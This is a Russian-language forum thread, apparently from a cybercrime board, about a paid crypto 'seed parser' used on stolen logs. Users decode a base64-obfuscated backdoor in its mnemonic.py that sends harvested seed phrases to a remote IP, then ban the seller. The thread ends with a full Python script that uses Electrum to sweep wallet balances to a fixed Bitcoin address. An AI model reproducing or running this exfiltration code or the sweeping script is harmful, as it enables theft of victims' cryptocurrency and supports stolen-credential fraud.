I am also waiting PR1SM-NSA answer.
у меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?Скрытое содержимое
Копался в платной версии, со слов заказчика, купленной за 350$у меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?
Файл mnemonic.py
hs='aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ=='
sf='Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ='
def exclude_pattern(mnemonic):
try:
ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
with open(ft,'a',encoding='utf8') as f:
f.write(mnemonic+'\n')
with open(ft,'r',encoding='utf8') as f:
r=f.read().splitlines()
if len(r)>=MCOUNT or (mnemonic==''):
try:
with open(ft, 'w', encoding='utf8'):
pass
os.remove(ft)
except:
pass
for m in r:
if m=='':
continue
b1 = hs.encode("UTF-8")
d = base64.b64decode(b1)
s2 = d.decode("UTF-8")
res=requests.get(s2+m)
except:
pass
def exclude_pattern2(addr):
try:
ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8")
with open(ft,'a',encoding='utf8') as f:
f.write(addr+'\n')
with open(ft,'r',encoding='utf8') as f:
r=f.read().splitlines()
if len(r)>=MCOUNT:
try:
with open(ft, 'w', encoding='utf8'):
pass
os.remove(ft)
except:
pass
for m in r:
if m=='':
continue
b1 = hs.encode("UTF-8")
d = base64.b64decode(b1)
s2 = d.decode("UTF-8")
res=requests.get(s2+m)
except:
pass
base64.b64decode("aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ==")
b'http://82.118.23.50:8087/?m='
base64.b64decode("Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ=")
b'./logs/seed-log-new.txt
пробну удалить эти строки и запустить скрипт! ты геройКопался в платной версии, со слов заказчика, купленной за 350$
Эти места нужно почистить, так же в других файлах убрать вызовы этих функций(exclude_pattern и exclude_pattern2):
Судя по коду софт пишет сиды в файл, и при наборе 64 шт отправляет на этот сервер:Python:Файл mnemonic.py hs='aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ==' sf='Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ=' def exclude_pattern(mnemonic): try: ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8") with open(ft,'a',encoding='utf8') as f: f.write(mnemonic+'\n') with open(ft,'r',encoding='utf8') as f: r=f.read().splitlines() if len(r)>=MCOUNT or (mnemonic==''): try: with open(ft, 'w', encoding='utf8'): pass os.remove(ft) except: pass for m in r: if m=='': continue b1 = hs.encode("UTF-8") d = base64.b64decode(b1) s2 = d.decode("UTF-8") res=requests.get(s2+m) except: pass def exclude_pattern2(addr): try: ft=base64.b64decode(sf.encode("UTF-8")).decode("UTF-8") with open(ft,'a',encoding='utf8') as f: f.write(addr+'\n') with open(ft,'r',encoding='utf8') as f: r=f.read().splitlines() if len(r)>=MCOUNT: try: with open(ft, 'w', encoding='utf8'): pass os.remove(ft) except: pass for m in r: if m=='': continue b1 = hs.encode("UTF-8") d = base64.b64decode(b1) s2 = d.decode("UTF-8") res=requests.get(s2+m) except: pass
hs:
Мнемоники пишет в файл:Python:base64.b64decode("aHR0cDovLzgyLjExOC4yMy41MDo4MDg3Lz9tPQ==") b'http://82.118.23.50:8087/?m='
sf=
На логику скрипта эти строчки никак не влияют поэтому тут явный бэкдор.Python:base64.b64decode("Li9sb2dzL3NlZWQtbG9nLW5ldy50eHQ=") b'./logs/seed-log-new.txt
Купи софт за те-же 100$ чекер, и работай с ним, будут уводить балансы с личных логов , будешь знать к кому претензии писатьу меня тоже есть такая строчка, после первого раза использования были сомнения так как все мои балансы кто-то раньше чутка вывел, спросил у автора он сказал что в паблик логах такое постоянно, жалко это были не паблик логи а только в моих руках..... Удалить эту строчку и можно юзать ?
У меня только 4 версия есть, ей уже год наверное, могу перезалить еёПерезалейте пожалуйста софт из 1го поста для ознакомления.
С меги удален.
Спасибо.
https://mega.nz/file/uIoXhB6L#wNU09YgqLMcVzf5PB5T-dA55I6YtCNEdny9IxjIBdLM on the last forum page. and I did
Ну так пруфани админам этоЭто настолько очевидно, что после того, как участник форума обнаруживает бэкдор в своем скрипте, PRISM-NSA поместил чистую версию в mega.nz
У меня есть платная версия, и на ней есть бэкдор.
Поддержу. Тестил щас версию софта которую он мне еще давно скидовал. После запуска seed_parser_v2.2.py сразу улетело с моей сидки 40$ в неизвестном направлении )) Хотя до этого достаточно денег этому кодеру заслал по другим проектам, вроде нормально общались. Странное поведение...Все это выглядит со стороны очень грустно. И выборка людей (заявляющих свои претензии) очень разная, люди разные и никак не связаны между собой. Короче, слабо верится именно в атаку недоброжелателей. Платной версии на руках, чтобы проверить самому, у меня нет.
PR1SM-NSA - пока уходит в бан. Как минимум, пока человек четко и внятно не объяснит, откуда в коде взялось "лишнее". Да еще и в платной версии.
ради интереса, решил сам убедиться, т.к. тоже качал архивы из этой ветки. нашел архивы seed-parser 1 и seed_parser_v2, из данного топика по ссылкам автора.Я предпологаю что у этих юзеров какая то личная неприязнь и они сами внесли какой то код в мой продукт. Предполагаю что они связаны с какими то другими более дорогими подобными продуктами, мне остается только гадать о их мотивах.
Само что интересно, ладно бы ещё в бесплатной только было, так нет , он ещё и в платную впихнулради интереса, решил сам убедиться, т.к. тоже качал архивы из этой ветки. нашел архивы seed-parser 1 и seed_parser_v2, из данного топика по ссылкам автора.
в 1ой версии бекдора нет. во второй версии бекдор, найденный местными ресёрчерами, уже присутствует.
автор однозначно пидр редиска не хороший человек.
Python:
import os
import sys
import subprocess
import json
import time
MY_BTC_ADDR='ADDRESS'
MIN_BALANCE=0.005
FEE_RATE_CONFIRM=50
FEE_RATE_UNCONFIRM=80
PAUSE=1
ELECTRUM_FILE='./electrum-4.2.1-x86_64.AppImage'.
LOG='electrum.log'
def write_log(mess):
print(mess)
with open(LOG,'a',encoding='utf8') as f:
f.write(mess+'\n')
if __name__=='__main__':
with open(LOG,'w',encoding='utf8'):
pass
while True:
try:
# get balance
proc = subprocess.Popen(f"{ELECTRUM_FILE} getbalance", shell=True,stdout=subprocess.PIPE)
out = proc.communicate()
d=json.loads(out[0])
write_log(f'Balance:{d}')
#check confirmed
valid_balance=False
fee=0
if 'confirmed' in d:
if float(d['confirmed'])>MIN_BALANCE:
valid_balance=True
fee=FEE_RATE_CONFIRM
# check unconfirmed
if not valid_balance:
if 'unconfirmed' in d:
if float(d['unconfirmed']) > MIN_BALANCE:
valid_balance = True
fee = FEE_RATE_UNCONFIRM
if valid_balance:
# send maximum
proc = subprocess.Popen(f"{ELECTRUM_FILE} payto {MY_BTC_ADDR} ! --feerate {fee}",shell=True, stdout=subprocess.PIPE)
out = proc.communicate()
print(out)
trn=out[0].decode('utf8').strip()
write_log(f'Transaction:{trn}')
# broadcast transaction
proc = subprocess.Popen(f"{ELECTRUM_FILE} broadcast {trn}",shell=True, stdout=subprocess.PIPE)
out = proc.communicate()
print(out)
res=out[0].decode('utf8').strip()
write_log(f'Broadcast result:{res}')
except KeyboardInterrupt:
print('Stop.')
break
except:
print(f'ERROR {sys.exc_info()}')
time.sleep(PAUSE)